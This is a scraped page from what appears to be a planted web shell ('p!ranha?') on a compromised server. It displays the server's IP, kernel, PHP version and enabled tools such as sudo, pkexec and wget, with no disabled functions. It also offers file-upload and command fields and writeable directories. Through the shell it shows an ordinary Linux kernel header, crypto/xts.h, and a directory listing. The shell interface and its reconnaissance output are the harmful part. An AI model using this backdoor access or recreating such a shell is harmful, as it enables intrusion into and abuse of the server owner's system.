p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto//xts.h
#ifndef _CRYPTO_XTS_H
#define _CRYPTO_XTS_H

#include <crypto/b128ops.h>
#include <linux/crypto.h>
#include <crypto/algapi.h>
#include <linux/fips.h>

struct scatterlist;
struct blkcipher_desc;

#define XTS_BLOCK_SIZE 16

struct xts_crypt_req {
	be128 *tbuf;
	unsigned int tbuflen;

	void *tweak_ctx;
	void (*tweak_fn)(void *ctx, u8* dst, const u8* src);
	void *crypt_ctx;
	void (*crypt_fn)(void *ctx, u8 *blks, unsigned int nbytes);
};

#define XTS_TWEAK_CAST(x) ((void (*)(void *, u8*, const u8*))(x))

int xts_crypt(struct blkcipher_desc *desc, struct scatterlist *dst,
	      struct scatterlist *src, unsigned int nbytes,
	      struct xts_crypt_req *req);

static inline int xts_check_key(struct crypto_tfm *tfm,
				const u8 *key, unsigned int keylen)
{
	u32 *flags = &tfm->crt_flags;

	/*
	 * key consists of keys of equal size concatenated, therefore
	 * the length must be even.
	 */
	if (keylen % 2) {
		*flags |= CRYPTO_TFM_RES_BAD_KEY_LEN;
		return -EINVAL;
	}

	/* ensure that the AES and tweak key are not identical */
	if (fips_enabled &&
	    !crypto_memneq(key, key + (keylen / 2), keylen / 2)) {
		*flags |= CRYPTO_TFM_RES_WEAK_KEY;
		return -EINVAL;
	}

	return 0;
}

#endif  /* _CRYPTO_XTS_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
internal
--
September 29 2025 07:01:15
0 / 0
0755
acompress.h
7.825 KB
November 06 2023 09:15:52
0 / 0
0644
aead.h
2.583 KB
November 06 2023 09:15:52
0 / 0
0644
aes.h
0.995 KB
November 06 2023 09:15:52
0 / 0
0644
akcipher.h
11.523 KB
November 06 2023 09:15:52
0 / 0
0644
algapi.h
10.815 KB
November 06 2023 09:15:52
0 / 0
0644
authenc.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
b128ops.h
2.413 KB
November 06 2023 09:15:52
0 / 0
0644
blowfish.h
0.367 KB
November 06 2023 09:15:52
0 / 0
0644
cast5.h
0.538 KB
November 06 2023 09:15:52
0 / 0
0644
cast6.h
0.583 KB
November 06 2023 09:15:52
0 / 0
0644
cast_common.h
0.188 KB
November 06 2023 09:15:52
0 / 0
0644
chacha20.h
0.245 KB
November 06 2023 09:15:52
0 / 0
0644
compress.h
4.01 KB
November 06 2023 09:15:52
0 / 0
0644
cryptd.h
2.054 KB
November 06 2023 09:15:52
0 / 0
0644
crypto_wq.h
0.119 KB
November 06 2023 09:15:52
0 / 0
0644
ctr.h
0.512 KB
November 06 2023 09:15:52
0 / 0
0644
des.h
0.394 KB
November 06 2023 09:15:52
0 / 0
0644
dh.h
0.804 KB
November 06 2023 09:15:52
0 / 0
0644
drbg.h
8.791 KB
November 06 2023 09:15:52
0 / 0
0644
ecdh.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
gcm.h
0.137 KB
November 06 2023 09:15:52
0 / 0
0644
gf128mul.h
8.083 KB
November 06 2023 09:15:52
0 / 0
0644
ghash.h
0.334 KB
November 06 2023 09:15:52
0 / 0
0644
hash.h
9.473 KB
November 06 2023 09:15:52
0 / 0
0644
hash_info.h
1.126 KB
November 06 2023 09:15:52
0 / 0
0644
hmac.h
0.131 KB
November 06 2023 09:15:52
0 / 0
0644
if_alg.h
2.288 KB
November 06 2023 09:15:52
0 / 0
0644
kpp.h
8.763 KB
November 06 2023 09:15:52
0 / 0
0644
lrw.h
1.18 KB
November 06 2023 09:15:52
0 / 0
0644
mcryptd.h
2.313 KB
November 06 2023 09:15:52
0 / 0
0644
md5.h
0.281 KB
November 06 2023 09:15:52
0 / 0
0644
padlock.h
0.634 KB
November 06 2023 09:15:52
0 / 0
0644
pcrypt.h
1.401 KB
November 06 2023 09:15:52
0 / 0
0644
pkcs7.h
0.946 KB
November 06 2023 09:15:52
0 / 0
0644
public_key.h
2.664 KB
November 06 2023 09:15:52
0 / 0
0644
rng.h
1.798 KB
November 06 2023 09:15:52
0 / 0
0644
scatterwalk.h
3.348 KB
November 06 2023 09:15:52
0 / 0
0644
serpent.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
sha.h
2.656 KB
November 06 2023 09:15:52
0 / 0
0644
sha1_base.h
2.473 KB
November 06 2023 09:15:52
0 / 0
0644
sha256_base.h
3.026 KB
November 06 2023 09:15:52
0 / 0
0644
sha512_base.h
3.194 KB
November 06 2023 09:15:52
0 / 0
0644
skcipher.h
16.099 KB
November 06 2023 09:15:52
0 / 0
0644
twofish.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
xts.h
1.187 KB
November 06 2023 09:15:52
0 / 0
0644